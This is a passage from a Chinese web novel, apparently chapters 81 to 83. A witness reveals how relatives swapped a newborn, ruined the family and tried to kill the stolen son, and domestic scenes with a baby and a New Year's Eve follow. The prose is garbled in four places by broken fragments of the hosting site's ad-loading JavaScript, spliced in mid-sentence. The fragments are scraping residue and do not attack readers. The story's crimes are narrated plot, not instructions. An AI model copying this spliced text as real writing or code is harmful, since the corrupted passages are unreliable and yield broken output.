看着孩子的背影,谈三娘一言不发回了客厅,继续折小动物。 罗素漪陪着她,宽慰道:“姐,别急,再有个半年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你肯定就痊愈了。到时候阿澈也该学走路了,正好你可以过去搭把手。” 谈三娘也是这么想的,笑了笑:“多谢你。” “客气什么呀,咱都是一家人。”罗素漪很是欣慰,“到时候你好了,正阳跟蕾蕾,还有丰登和北北也都该有孩子了,我就去给他们带孩子,反正我也没事做。” “好,辛苦你。”谈三娘没有意见,几个孩子不在一个地方,她没办法兼顾。 可以跟小姨轮着来。 免得孩子觉得当妈的偏心。 其实这小半年来,她已经好多了。 只是行动还不是完全利索,偶尔还会平地摔一跤,需要继续锻炼。 总之,她会不断坚持下去。 儿孙们都需要她呢。 吴旭东到了大院,晚上吃饭时发现李七海那边风平浪静的,不禁咋舌。 这个李七海,果然是护短,没跟王英说李二蛋偷玩具的事。 犹豫了一下,他决定再给李七海一次机会,下回他直接自己说去。 * 三天后,汤正阳跟安小蕾扯了证。 周中擎还留在北京,等一个老朋友回来,见上一面再走。 今天正好周子琰休息,便跟吴旭东一起带着孩子回来了。 刚到大平层,便看到正阳大哥跟蕾蕾姐腻腻歪歪的坐在沙发上选婚纱呢。 周子琰乐了:“姐,大哥,我是不是要改口了?” “改什么呀,不用改,就按原来的喊。”安小蕾不在意这些细节。 周子琰坐下,拿起婚纱图册想帮忙选一选,不小心看到了压在下面的结婚证。 拿出来一看,乐了:“你们登记啦!也不早说,我好给你们准备礼物啊。” “等办酒的时候再说吧,不急。”安小蕾拉着妹妹坐到了对面,“小东,快把阿澈给你大哥抱抱,念叨一路了,跟个唐僧似的。” 吴旭东笑着坐过来。 汤正阳接过神气活现的小丫头,笑眯眯的捏着嗓子装可爱:“小阿澈,我是谁呀?” 小阿澈歪着脑袋打量着他,不会说伯伯,干脆伸出爪子,拍了拍伯伯的脸,表示这是熟人。 “啊呜,哦!”没人听懂她在说什么。 汤正阳却一厢情愿翻译成了伯伯。 得意道:“听听,我侄女儿叫伯伯了。” “你老年痴呆了吧,谁家孩子不是先喊爸妈的,轮得到你吗?臭德行。”安小蕾翻了个白眼。 汤正阳笑呵呵的:“我不管,我说是就是,对吧小阿澈。” “哦!” “哈哈。这小家伙真会哄人开心。”汤正阳高兴得很,掂了掂小家伙,“呦,这么沉了,有十五斤了吗?” “有了,这家伙吃得多拉得多,比一般孩子块头大。”吴旭东特地卷起女儿的袖子,给孩子大伯看看她那莲藕一样的小胖胳膊。 汤正阳喜欢得很,故意逗她:“呦,这是谁家的小胖猪猪,让伯伯咬一口,啊呜——” 小阿澈咯咯笑着躲开。 他继续闹:“好哇,这只胳膊不给咬,那咬另外一只。” 小家伙笑着一挥爪子,不客气的揪住了大伯的头发。 汤正阳笑得不行,怪模怪样的求饶:“哎呦,女侠饶命!” 小丫头真就松开了小爪爪,还拍了拍大伯的脑袋:“呼呼——” 汤正阳:……是不是反过来了,怎么侄女儿哄起大伯来了? 正其乐融融的闹腾着,电话响了。 吴旭东看了眼正在选婚纱的姐妹俩,起身去接。 “喂,爸。什么事?” “告诉你大哥,吴家栋的小舅子李宏进知情,愿意招供争取宽大处理。还有,有三个知青和两个下放的老干部愿意出来指认凶手。让你大哥休息休息,明天来北京一趟。” 吴旭东震惊不已。 果然老丈人就是老丈人,一出手就把事情给搞定了。 搞不好那两个老干部是他做的工作,也许是熟人,也许是熟人的熟人。 总之,有人愿意站出来,那就再好不过了。 他赶紧把消息转达给大哥。 汤正阳起身,把孩子交给他:“我回去跟爸妈说一声,让他们一起过去。” 81. 真相(1) 北京,四合院。 汤正阳一进来便注意到了老丈人。 他老人家正坐在院子里,身侧站着一个畏畏缩缩的男人,二十来岁,像个瘪三。 汤正阳喊了声爸,扶着妈妈进来,让她坐下,又给吴国正找了把椅子,这才看向老丈人:“爸,他是谁?” “问你爸。”周中擎知道蕾蕾领证了,并不意外这样的称呼。 他把准备好的茶水递给风尘仆仆的老友。 吴国正下意识把茶杯递给了谈三娘,让她捂捂手。 随即眯眼打量着面前的年轻人,犹豫半晌,才问道:“你是李宏进家的?” “啊……嗯,是我,伯伯好。”李亚飞长得一般,小眼睛单眼皮,戴着一副眼镜,看起来斯斯文文的。 细瘦的身板儿因为理亏而弯折,卑躬屈膝,带着明显的讨好意味。 吴国正蹙眉,看向了周中擎:“找他来是做证人的吗?他才多大,未必记得当年的事情吧?” “正阳你说。”周中擎有意考考这个女婿。 汤正阳思索一番:“是不是他闯祸了,李宏进为了保他,才愿意站出来为当年的事情作证?” “聪明。”周中擎很是欣慰。 这个女婿虽然文凭不高,但是脑子好使。 所以学历并不能说明什么,很多学富五车的书呆子,未必有社会上摸爬滚打的人混得开。 正阳这样跟蕾蕾互补,挺好的。 一个安心搞学问,一个赚钱养家。 周中擎睨了李亚飞一眼:“把你知道的都说出来。” 李亚飞靠近一些,小心翼翼地开口:“李家沟的人家虽然都姓李,但东村李和西村李是两个老祖宗传下来的,西村李是避难改的李姓,所以两边其实没有什么血缘关系。” 说着他看了眼周中擎,见这位大佬没有露出不满的神色,这才继续说下去。 “东西村子中间隔着一道沟一座桥,所以叫做李家沟。我爸老家在东村,离镇上也近,所以我偶尔回去,也不往西村跑。关于西村的事,都是我爸跟我说的。所以如果我哪里说错了,你们也别生气,十九年前我还小呢,压根不记得宝阳哥到底怎么出事的。”说着他又看了看汤正阳,那眼神好像在说,别迁怒我啊,不关我事。 汤正阳眯眼点点头:“你说。” “西村李的长房长孙叫李财源,因为长得像个獐子,所以大家都喊他獐子精。他在西村横行霸道,是个孩子王,他有个弟弟,跟我爸是同班同学,小时候经常打打闹闹的,獐子精回回都要来我家找我爸的麻烦。” “嗯。” “后来獐子精发现他那个弟弟是个蠢猪,实在是烂泥扶不上墙,反倒是我爸,非常聪明,知道他来,会主动去地里抓田鸡,配上米酒招待他一顿好的。久而久之,两人就成了好朋友。” “嗯。” “三十五年前的有天夜里,獐子精来找我爸出去帮忙,我爸那会儿还是个毛头小子,没成家呢,以为獐子精是喊他出去抓田鸡的,就拿上手电和麻袋跟了出去。” “然后呢?” “然后到了地方一看,秧田里躺着一个漂亮女人。女人不知道是生病了还是受伤了,身上爬了好几个蚂蟥。獐子精虽然嚣张跋扈,但是生平最怕蚂蟥,赶紧让我爸帮忙,把女人身上的蚂蟥弄下来,又一起抬着女人,把她送到了獐子精家里。” “这人就是赵红梅?” “对,当时獐子精已经结婚好几年了,可是他那女人迟迟生不出孩子来,长得也很一般,跟水田里的女人比起来,简直一个天上,一个地下。獐子精毫不犹豫的离了婚,把这个女人留了下来。” “赵红梅也愿意?” “不愿意不行啊,她在城里待不下去了。她跟獐子精结婚不到两个月就显怀了,村里人也没有多想,以为他们两个早就珠胎暗结,只在背地里议论几句赵红梅不要脸之类的。快到生产的时候,獐子精却把赵红梅送去了城里。” “有鬼。” “是啊。你们应该知道吧,几十年前的农村女人,生孩子都是在自家炕头生的,顶多是喊个接生婆或者赤脚医生帮忙剪个脐带,根本不会花那个冤枉钱去什么医院,何况还是城里的医院。可是獐子精却兴师动众的,要让赵红梅去城里生。我爸就很好奇,跟过去看了看,这才知道事情不简单。” 说到这里,李亚飞咽了咽口水,要到正题了,他有点紧张,不知道宝阳哥会不会迁怒于他,只得小心翼翼的看了眼周中擎。 周中擎摆摆手:“没事,你说,我答应过你爸了,只要他肯作证,我们不会报复到你身上的。” “谢谢周伯。”李亚飞松了口气,推了推眼镜搓了搓手,像个苍蝇一样卑微。 他深吸一口气,继续说道:“原来赵红梅是个有来头的人家的私生女。她还有个双胞胎姐姐,送去了好人家,过得比她好多了。一开始她是不知道的,她跟着北京的养父母住在大杂院,上了卫校,在医院当护士。日子按部就班的,虽然不算大富大贵,起码也不差。直到她在医院碰到一个女人。这个女人不说跟她长得特别相似吧,起码五六成是有的,尤其是眼睛和嘴巴。赵红梅就起了疑心。” “她做什么了?” “她跟踪那个女人半年,得知那女人在机关上班,是谈家的三女儿,叫谈三娘,上头还有两个哥哥,下面有几个弟弟妹妹。女人还有个舅舅,隔三差五来找女人的妈妈,回回都要给点钱和米面粮油的票。女人的妈妈拿了这些东西,会分别寄往两个地址。一个是山东青岛,一个就是赵红梅养父母家里。” “嗯。” “赵红梅实在是好奇得不行,索性鼓起勇气,把那女人的舅舅拦在了胡同里。女人的舅舅很快说了实话,原来他是赵红梅的亲老子,因为是婚前生的,不敢留在家里让现在的老婆生气,只能送人。而男人经常来找的,是他妹妹,也就是赵红梅的亲姑姑。” “也就是我外婆?” “是。原本这件事跟谈三娘没什么关系的,可是赵红梅是个红眼病,她看到表妹谈三娘过得那么好,还嫁了个军官,简直就是人上人。而她自己却过得那么一般,她嫉妒,她怨恨,就准备报复回去。她到处打听,得知谈三娘的男人也是来自一个大家庭,祖上阔得很,在老北京还留了四合院,她就准备对谈三娘的男人下手。” 听到这里,吴国正不禁蹙眉:“我不记得有这么一个人啊。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “是,因为你那时候在东北戍边,她碰不到你。就连谈三娘想见你也只能去部队探亲。所以赵红梅只能盯上了吴家其他的男人。没想到你跟你弟弟都成家了,她实在是没办法,就去勾引你堂弟吴家栋,两人还真就好上了。可惜她比吴家栋大十岁,吴仲和不让他们在一起,不但棒打鸳鸯,还请了人,给她灌红花,把她扔到乡下去。没想到办事的人动了邪念,把她给那个之后就扔在水田里了,没灌红花。” “……” “她怀恨在心,被獐子精捡回去后,说明了自己的身世。獐子精本来就不是什么好人,两人沆瀣一气,准备一起报复回去。不断找人打听城里的消息,得知谈三娘也快生了,就特地跑到同一个医院,让医生给她上催产素,玩了一手调包计。”说到这里,李亚飞停顿了下来,渴了。 他盯着石桌上的茶水,却没有勇气开口。 周中擎把茶杯往他面前推了推,他这才鼓起勇气端起来喝了一口。 一旁的汤正阳不禁蹙眉:“调包孩子这么容易的吗?是不是医院里有熟人帮忙?” “嗯,妇产科的医生是赵红梅的初恋,那人的爸妈嫌弃赵红梅的养父母只是普通工人,没让他们结婚。看在两个人有过一段的份上,那医生帮了赵红梅的忙。” “畜生!” “换孩子的时候,吴家栋正好来医院看望谈三娘,这毕竟是他的堂嫂,堂哥又不在家,他作为吴家的亲眷肯定要来看看的。正好撞见了,这才知道,赵红梅没有被灌红花。” “他没拦着?” “是,原本赵红梅是想直接弄死谈三娘的亲儿子的,吴家栋没让。他让赵红梅养着,要是一切顺利,他们的亲儿子可以鸠占鹊巢,夺了吴家大房的全部财产。要是不顺利,以后还可以用谈三娘的亲儿子做人质。” 汤正阳气得摔了茶缸子。 李亚飞缩了缩脖子:“赵红梅跟獐子精一商量,都觉得这个主意不错,就把孩子带了回去,这孩子就是宝阳哥。为了随时掌握吴家那边的动态,赵红梅撺掇着獐子精把他的妹妹嫁给吴家栋,可是吴家栋当时还没有成年,也看不上獐子精的妹妹,反倒是看上了我姑。没办法,我姑长得好看些,人也出息,凭自己的本事留在了城里,吃的是公家饭,当然比村姑强多了。于是两年后,吴家栋跟我姑摆了酒,成了家。我姑一开始是不愿意的,可是吴家有钱,我爷爷奶奶乐意,我姑拗不过父母之命,只好嫁了。” “后来呢?” “后来的你们应该都知道了,獐子精知道孩子不是自己的,也不是赵红梅的,自然不会给孩子好脸色,动辄打骂的,把孩子当成了一个奴隶使唤。两人为了避免宝阳哥的身份被查到,上户口的时候故意报大了两岁。没想到宝阳哥出息,被公社推荐去当兵,验血的时候发现血型不对,起了疑心。” “原来是我自己发现的。” “对,据说你当时反应激烈,要报警抓他们,闹得周围的几个知青都过来围观。獐子精跟赵红梅就动了杀心。他们找我爸帮忙,我爸那会儿占着我姑跟吴家的关系,也去城里上班了,自然愿意帮忙。可是宝阳哥长得太高太壮了,他一个人没把握,就叫上了他的哥们儿,这人就是黑胡子。” 82. 真相(2)(二更) 听到黑胡子三个字,汤正阳非常震惊。 这说明他和小旭之前的推断是正确的,兄弟俩的意外,全都不是意外。 他握紧了拳头,咬着后槽牙发问:“黑胡子跟你爸爸是怎么认识的?” 李亚飞被汤正阳的目光吓到,下意识往周中擎身边躲了躲:“宝阳哥你消消气,这真的不关我事啊。” “我现在叫汤正阳!” “我错了,正阳哥,那些真的不关我的事。我从来没有害过你啊。” “少废话,快说黑胡子到底怎么回事!” “这就得说说我姑父吴家栋了。那年头给供销社跑货的司机是肥缺,他是汽运站的调度员,都属于运输部门,所以不少司机都跟他认识。那些司机会私吞一些零散的货物,拿给他让他帮忙卖到黑市去。一来二去的,他就跟黑胡子认识了。黑胡子不务正业,搞那些偷鸡摸狗的最是在行。别说是销赃了,就是让他去抢去打劫,他都不带怕的。所以不管是多棘手的东西,他都有本事给处理掉。” “怪不得黑胡子一个无业游民,居然能在北京混下去。他是不是也跟那些货运司机认识?风声紧了就跟着货车躲出去?” “对,那时候抓投机倒把,严重的会直接枪毙的。黑胡子每次都可以完美脱身,少不了我姑父的帮忙。他跟那些司机关系很好,帮忙捎带个人出去,根本不是问题,也不需要打什么介绍信,上了车直接走就是了。等到风声过去,黑胡子会再回来。加上这人做了很多假身份,所以就算他在外面犯了事,也没人能把这些案子串联起来,根本抓不到他。” “果然黑胡子是有靠山的,要不然光靠他自己,根本不可能狡兔三窟。” “嗯,我姑父在监狱肯定看到新闻了,知道黑胡子被全国通缉了。所以前阵子他又联系了赵红梅,想让赵红梅想想办法,免得被你们找到当初的证据。赵红梅有个儿子,很有出息,去年刚考的大学,她跟李财源都不想留下案底,免得牵连了这个孩子。加上他们得到消息,宝——正阳哥即将要做周伯的女婿了,他们不敢真的留下什么把柄,得罪了周伯肯定没有好果子吃的。所以思来想去,他们只能请了个道士,说好了,要是正阳哥来找他们算账,就把他引到深山老林里,用那些死鬼把他困死。这样就算警察调查,也找不到他们行凶的证据。没想到你们这边也有高人,把法阵全都破了。” “我说呢,他们那么大费周章,却没有面对面的跟我动手。” “说实在的,就是借他们几个胆子,他们也不敢跟你动手。谁让你跟周伯的女儿好上了呢。周伯虽然已经退下来了,不过他的大名还是如雷贯耳的,连我这个两耳不闻窗外事的都知道他。再说了,你那丈母娘也得罪不起。还有她那个侄子,叫安正则的,有事没事就让人来敲打我爸和我姑父,这些赵红梅他们都知道。人就是这样的,一旦有了软肋,就不敢像以前那样无所顾忌了。他们全家都指着那个大学生儿子扬眉吐气做城里人呢,哪敢跟你们硬碰硬啊。” “说说我弟弟和我小姑父的事。” “你小姑父,那个怨不得黑胡子。我爸当时跟他竞争副食品厂的车间副主任,两人互相使绊子,谁也没比谁干净到哪儿去。不过也有可能是我爸为了在我面前维持一个父亲的良好形象,故意抹黑你小姑父了。所以你不如找别人再核实一下。你弟弟的我倒是知道一些。” “说。” “这得先说你爸爸的事。” “你的意思是,我爸被下放,也是吴家栋搞的鬼?” “正阳哥,你真聪明。你问问你爸爸,当初他那个朋友出事,他一开始应该是不想管的对不对?” 汤正阳回头看着自己爸爸。 吴国正明显有些意外,他点点头:“没错,后来他老婆带着三个孩子跪在我家门口,大雪天的,冻得瑟瑟发抖,我不答应他们就不起来,我实在是不忍心……” “对,他们还有个刚出生的孩子,一起抱着去跪你的是吧?” “是。” “都是我姑父出的馊主意。他们咬定了你心善,心软,哪里忍心让一个刚生了孩子还没出月子的女人跪你,还是大雪天的,你肯定会帮忙的。然后你就出事了。是你先出的事,然后正阳哥被选上参军,察觉到了自己的身世有问题,他们动了杀心,把他扔下悬崖,最后才是对你小儿子下的手。顺序是这样的。” “也就是说,就算我弟弟不被拐卖,还会有别的灾难等着他。因为吴家栋就是想弄垮我们这一家子。” “是这样的。不光是你。”李亚飞看向了吴国正,“吴伯应该记得,你弟弟国祥当时也遇到了类似的问题。只不过他比你幸运,他老丈人就那一个女儿,豁出去老脸保他,所以他没事。不过正因为这样,他也不敢出面保你,毕竟他自己也差点搭进去了。这些年他跟个赘婿没区别吧,在东北待着轻易都不回来的,就是为了报答老丈人的维护之情,孩子都跟老丈人姓了。” 吴国正点头:“是这样的,国祥当初是想帮我的,后来就没动静了。” “原来连我叔叔都差点出事!”汤正阳气得不行,梳理了一遍全部的经过,忽然有些纳闷儿,他扭头看着自己爸,“我那个舅姥爷有没有跟你们说过,赵红梅已经知道自己身世了?” “没有,一个字也没提。”吴国正非常果断的摇头,“不信你问你妈。” 谈三娘认真回忆了一下,应道:“没提,如果我知道,肯定会留意。” “他应该是怕你们多嘴,让他老婆知道。到时候家宅不宁,他自己就不好过了。真是个自私的老畜生!”汤正阳很少对长辈用这么大不敬的词汇,可是他一想到自己家里受到的苦难,便抑制不住那澎湃的戾气。 说话很不客气。 谈三娘点点头:“应该是的。” 汤正阳一拳砸在石桌上:“老东西,害人不浅!难怪死那么早,真想掘地三尺,把他挖出来——” 算了,到底是自己亲妈的舅舅,汤正阳没有放任自己说下去。 谈三娘赶紧握住他的手:“都是妈不好,没有察觉。” “不关你的事,她在暗你在明,你又没有招惹她,怎么知道别人要害你。”汤正阳反握住母亲的手,红了眼眶,“我只是心疼,我爸从部队赶回来,以为抱着的是自己的亲骨肉,结果抱着的却是别人的孩子。想想就让人恼火。” “是我不好,早点升上去让你妈妈随军就好了。”吴国正落下泪来,天知道这些年他和老妻是怎么熬过来的。 原以为一切只是意外,谁承想是身边的亲人迫害。 既有吴家的,也有谈家的。 偏偏受害的都是最无辜的人—— 真要是想报复的话,赵红梅应该找她亲老子报 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 复。 而吴家栋也应该找他爷爷去控诉家产分配不公,而不是对人家正经大老婆的后代使绊子,耍阴招。 追溯到源头,都是家里的男人们不修私德,在外面乱搞。 一个跟秦楼楚馆的女人勾勾搭搭,一个婚前不检点搞出私生女来。 区区一粒老鼠屎,坏了一整锅汤。 可见乱家的根本就在于此。 不信看看老丈人这边,一大家子多和睦。 汤正阳陷入巨大的悲痛之中,心情久久不能平静。 现在唯一庆幸的就是,他没有那十六年的记忆。 这是老天对他的慈悲。 他宁愿永远想不起来,永远将那段阴暗的,残忍的过往埋葬在那个山崖之下。 再也不回头。 过了很久,他才开口:“你犯了什么事,以至于你爸爸愿意出来作证?他这一作证,不少人都要进去,尤其是你姑父,要是当年的事查出来,会加不少年的刑期。” “我……”李亚飞挠了挠后脑勺,羞于启齿。 汤正阳直勾勾的看着他。 最终他还是说了:“我挪用了公司的款子,领导让我规定时间内补齐,不然就报警抓我。” “多少钱?” “三十万。” “这么多!你干什么去了?” “我……赌输的……” 汤正阳不禁冷笑:“活该,作奸犯科的人,也只能养出这种败家子来。这钱我出了。” “不用,周伯帮我交了。”李亚飞搓了搓手,“我以后会改的。” “爸!你怎么不跟我说一声呢?我手里有!”汤正阳非常惭愧,他这才刚结婚,就让老丈人破费,他受不了。 周中擎却拍拍他的肩膀:“我不光是为你,也是为小东。做长辈的怎么花钱你们就别管了,好好过好自己的日子,比什么都强。” “可是爸——” “听我的。”周中擎松开他,起身道,“就这样吧,马上过年了,先回去,过完年再来,彻底做个了断。” “李宏进不会出尔反尔吧?”汤正阳有点不放心。 周中擎笑了:“不会,他儿子什么德性他知道,这三十万我让他儿子打了欠条的,只要他反悔,我立马拿着欠条找他领导。” “是我低估您老人家了。”汤正阳松了口气,“要去拜访一下那几个知青和老干部吗?” “不用,我都打理好了,等案子宣判之后,再好好见个面,以后都是朋友。”周中擎看看时间,不早了,先回去吧。 * 监狱里,吴家栋看到忽然来了几个警察,要提审他另外一个案子,一头雾水。 等他路过另外两个审讯室,看到了坐在里面的赵红梅和李财源,不禁暗道一声糟糕。 完了,赵红梅这个蠢货! 肯定把事情办砸了! 刚在隔壁审讯室坐下,就看到他的姐夫们也被警察押着,从门口路过。 紧接着还有当年那个帮忙调包孩子的医生。 吓得他立马站了起来。 不是吧,一网打尽啊这是? 难道连他们当初干的那些事儿也翻出来了? 完了,全完了。 赵红梅到底干了什么? 急得他,恨不得冲到隔壁弄死这个蠢东西! 83. 护短 海军大院。 吴旭东正在给孩子喂奶粉。 周子琛坐在旁边的沙发上,放下手里的书看了看时间:“姐夫,我姐怎么还不回来,我都饿了。” “来新兵了,要忙上一阵子,你先吃吧。”吴旭东抱着胖乎乎的小猪猪,顾不上考虑自己的肚子。 周子琛哪好意思自己先吃,干脆再等等。 这段时间天天过来蹭饭,他也有点眼力见的,知道端碗递筷子,做点力所能及的事情。 每天也会帮着照看一会儿小阿澈,给她念念书,讲讲故事。 这小丫头聪明得很,句句有回应,让他觉得所有辛苦都没有白费。 估摸着小阿澈快吃饱了,他才起身往厨房去了。 吴旭东见到他去厨房就头疼,赶紧把阿澈塞到他怀里:“我来,你去餐桌那等着。” 饭菜上桌,吴旭东接过孩子,单手抱着,自己吃饭的的同时,用孩子专用的小勺子喂一碗鸡蛋羹。 刚吃几口,远处走廊上便传来孩子的哭喊声。 周子琛好奇,丢下筷子跑出去看了看。 但见王英正抄着鸡毛掸子,满走廊追着李二蛋胖揍。 周子琛乐了,听了两耳朵,回来关上门,免得这小子跑过来躲着,到时候他们不得不帮忙求情。 他拿起筷子,八卦道:“这孩子该打,要不然真的养歪了。” “他又怎么了?”吴旭东头都没抬,专注的喂着小猪猪。 周子琛小声道:“这不放寒假了吗?李二蛋闲得无聊,跑到别的楼找同学玩儿,结果老毛病犯了,顺走了人家的玩具。人家爸妈找了过来,王英要面子,可不得好好揍他一顿。” “活该。”吴旭东一点也不同情这孩子。 都是李七海惯的。 现在再不打,将来肯定要吃牢饭。 他也不准备出去劝架。 可惜树欲静而风不止,那李七海疼孩子,见王英气头上完全没有停手的意思,只好过来敲门,求吴旭东出去劝说一二。 吴旭东没开门,回道:“没空啊七海,我家阿澈刚拉我一手,走不开。你别急,王英是孩子亲妈,她手上有数的。” 李七海无奈,只好去找孙谦帮忙。 谁让孙谦是楼长呢? 最后是孙谦硬着头皮,从王英手上夺走了鸡毛掸子,争夺的时候不小心挨了两下,胳膊都肿了。 气得他吹胡子瞪眼的,骂李七海是窝囊废,这点小事都管不好,当的哪门子爸爸。 李七海委屈得不行,只得赶紧拿出跌打损伤膏,给孙谦涂抹。 之后才顾上自己儿子。 周子琛这个八卦分子,贴在窗口掀开窗帘看着,乐得不行。 等孙谦折回的时候,他赶紧放下窗帘,回客厅吃饭。 坐下后本打算八卦几句,却发现气氛有点不对。 小阿澈正气鼓鼓的咬着勺子,不肯吃。 吴旭东想把勺子移开,小丫头却不肯松嘴,死死地咬着,不知道在赌什么气。 周子琛乐了:“怎么了这是?这点小东西都会闹脾气了?” “还能怎么了?嫌弃我冤枉她了。”知女莫若父,吴旭东当时就察觉到小调皮的情绪了。 父女俩从刚刚一直僵持到了现在,是周子琛忙着看戏没察觉。 这真的让周子琛匪夷所思:“不是吧,她才不到五个月,能听懂咱们说话了吗?” “肯定啊,你看她这气鼓鼓的样子,像个河豚。”吴旭东哭笑不得,实在是拿不开勺子,只得服软,“爸爸错了,爸爸冤枉小阿澈了,不生气了好不好?” 小家伙还是不肯松开。 周子琛赶紧帮忙:“舅舅帮阿澈打他,坏爸爸,怎么好冤枉小阿澈呢?小阿澈这么乖,拉粑粑之前都会放臭屁通知的对不对?舅舅打他,坏爸爸!” 周子琛怪模怪样的,左手贴在吴旭东背后,右手啪啪几下拍上去。 看起来跟真的似的。 小家伙急了,立马松开勺子,两只小腿一蹬一踹的,嘴里呜呜啊啊的像是在跟舅舅吵架。 周子琛不理她,继续拍了自己的左手几下:“坏爸爸,下次还敢不敢了?” “不敢了不敢了,呜呜,疼。”吴旭东配合小舅子演戏。 这下小阿澈更急了,手舞足蹈的,要往舅舅怀里扑。 看那架势,要跟舅舅打架似的。 周子琛笑得肚子疼,干脆起身,躲开了。 小阿澈揍不到舅舅,只能瞪着爸爸,加密通话—— “呜啊,哦!” 疼吗坏爸爸? “疼,阿澈给爸爸吹吹?” “呼呼。” “阿澈真好。爸爸摸摸阿澈的小肚肚,哎呦,还没有吃饱,再来十口好不好?” “啊!!!” 吴旭东赶紧投喂这个护短的小家伙。 躲在次卧的周子琛哭笑不得:“姐夫,你高兴吧,小家伙这才多大,都知道护着你了。怪不得都说女儿是小棉袄呢。” “高兴啊。你过来,我打你试试,看她急不急。”吴旭东当然高兴,这可是他闺女,护着爸爸是应该的。 看看这小妮子护不护舅舅。 周子琛也很好奇,跑过来假装挨了顿打,结果小阿澈不但一点不着急,还咯咯咯的笑。 周子琛气死了:“好哇,小阿澈你记着啊,以后你挨打了舅舅也笑话你。” 小阿澈哼哼两声:“啊,哦——” 吴旭东不怀好意的翻译道:“她说你打她爸爸了,她超记仇。” “你就胡说吧,她才多大一点儿,都会记仇了。”周子琛不信。 吴旭东无所谓的耸耸肩:“不信走着瞧,我的女儿,我能不知道吗?” “得了吧你,她刚没有跟你闹脾气?” “我乐意。” “现在不说人家李七海护短了,你不也是。” “那能一样吗?我家阿澈可不会偷人的东西。” 一旁的小阿澈好像真的听得懂,居然附和了两声,啊啊呜呜的,真像那么回事儿。 周子琛啧啧称奇。 等姐姐回来,赶紧如此这般的学舌一番。 周子琰并不意外:“我也记仇啊,你还记得你小时候手欠,把二姐送我的洋娃娃给拆了,被我追着骂了一个月。” “……姐夫,你管管你老婆!”周子琛郁闷了。 “管不了,没空!”吴旭东乐呵呵的,虽然亲戚家有不少孩子,可是九零这一茬的,阿澈能算得上是大姐姐了。 搞不好,将来真是她妈妈的翻版。 这样才好,不吃亏。 他乐呵呵的带阿澈洗澡去了。 周子琛气鼓鼓的,拎着垃圾下楼散散心。 远处的训练场虽然看不清,但能听见新兵训练的吆喝声。 他很好奇,上楼后问道:“姐,这都八点多了,新兵怎么还锻炼呢?” “嗯,我也是从这个阶段过来的,有时候半夜也要被喊起来拉练,很正常的。”周子琰没觉得有什么大不了的,习惯了。 周子琛不禁对姐姐肃然起敬:“这都算正常啊?你可真行啊姐,我要是你,我肯定受不了的。” “谁跟你似的,温室里的花朵。”周子琰嫌弃。 周子琛郁闷了,听着浴室里咯咯笑的声音,再看看姐姐去厨房洗洗涮涮的背影,默默叹了口气。 算了,回去吧,回爸妈那里去吧,反正过年了,那秋瑶估计也不会突然跑出来骚扰他的。 留在这里像个电灯泡,多不自在。 正穿鞋呢,电话响了。 赶紧拿起来贴到姐姐耳朵边上。 “喂,哪位?” “子琰啊,今年回来过年吗?” “爸!你们回来了?” “回来了,北京那边的事情都处理得差不多了,你二姐也结婚了,正阳他们今年都在这边过年,要是你跟小东能回来就更好了。” “能回半天,陪你们拍个全家福我就得走。” “那也行,记得带上阿澈,我想她了。” “放心吧爸,我们都去的。” “那就好,你大哥他们也回来,小南一家也来,人齐了,多拍点照片。” “好。” 挂断电话,周子琰打量着几家人里唯一的单身汉:“就剩你了子琛,要不过年出去见见同学吧,说不定有合适的。” “不要,我不结婚,我要打一辈子光棍。”周子琛一朝被蛇咬,十年怕井绳。 不想再被可恶的女人利用自己的同情心了。 周子琰笑笑,没说什么。 时间是一味良药,慢慢来吧。 除夕这天,两大家人都在大平层这边过。 照片拍了一箩筐,两个大家庭的,五个小家庭的,再加周子琛这个单身汉的。 孩子们再拍几张合照,单人照,姐姐妹妹们再来几张,哥哥弟弟们来几张…… 热热闹闹的环境里,周子琛成了最孤独的那一个。 不免黯然神伤。 静悄悄的,独自一人回到了卧室。 关上门,打开电脑,窗外的烟火在他脸上投下五彩斑斓的光晕。 鼠标滑了两圈,百无聊赖的看着新闻,找不到一丝一毫快乐的意味。 正独自闷着发霉,跳进来一封邮件。 【秋璃】:除夕快乐! 周子琛这才注意到,收件箱里有一大堆邮件没读,足足一百多封。 他赶紧点开,除了两封编辑发来的催稿邮件,其他的都是秋璃发的。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >每天说说她在学校里的事儿,逗他开心。 看着看着,嘴角忍不住扬起一个弧度。 真好啊,做个中学生真好。 点开最近的这封,双手敲击键盘,洋洋洒洒,他给秋璃回了一万多字的长信。 秋璃收到回信的时候惊呆了。 这是一篇感情充沛鼓舞人心的散文。 措辞优美,意境深远。 尤其是文中反复出现的几个意向——大海,月光,朝阳与夕阳,蓝天与阴霾。 每一个意向,都对应着情感的变化。 秋璃好像悟出了点什么,回头看着自己头疼的五篇作文,笑了。 【秋璃】:我正愁不知道怎么写作文,你的回信给了我很大的启发,谢谢你。 【周子琛】:不客气,也祝你除夕快乐,新年顺利。 【秋璃】:我去写作业了,明天再聊。 【周子琛】:你不看春晚? 【秋璃】:明天再看,今天把作业写完,明天痛痛快快的看,痛痛快快的玩。 【周子琛】:你很自律,这很好,加油。 【秋璃】:多谢夸奖,你也很棒,不愧是我喜欢的作家。 周子琛笑笑,关闭了电脑。 把自己摔在床上,枕着双臂,看着天花板上绚丽的光晕。 窗外的烟火还在自顾自的绚烂着,伤心人的故事,也该告一段段落,重新开始了。 听姐姐的吧,明天出去见见同学。 人生总是会遇到坎坷的,不是吗? 正如他在文章里写的那样。 更何况,他的坎坷跟两个姐夫的比起来,简直不值一提。 门外响起老妈的呼唤声,喊他一起看春晚。 周子琛振作起来:“哎,来了!” * 新年很快过去。 周子琰忙着带新兵,简直成了个陀螺。 老安担心吴旭东一个人忙不过来,白天的时候会过来帮忙搭把手,晚上再回去。 谈三娘过意不去,总想着换她自己来。 可是老安不让:“急什么?等你彻底好了再去。都是自家人,不用这么见外。” 谈三娘只得耐着性子,再坚持锻炼几个月。 她也不想抱着孩子的时候摔一跤,那样对谁都不好。 夏天来临的时候,冯薇生了个儿子。 周子琰百忙之中去医院看了看。 冯薇虚弱地笑着:“周姐,真是不好意思,还以为能生个女儿,跟小阿澈做小姐妹,没想到是个小子。” 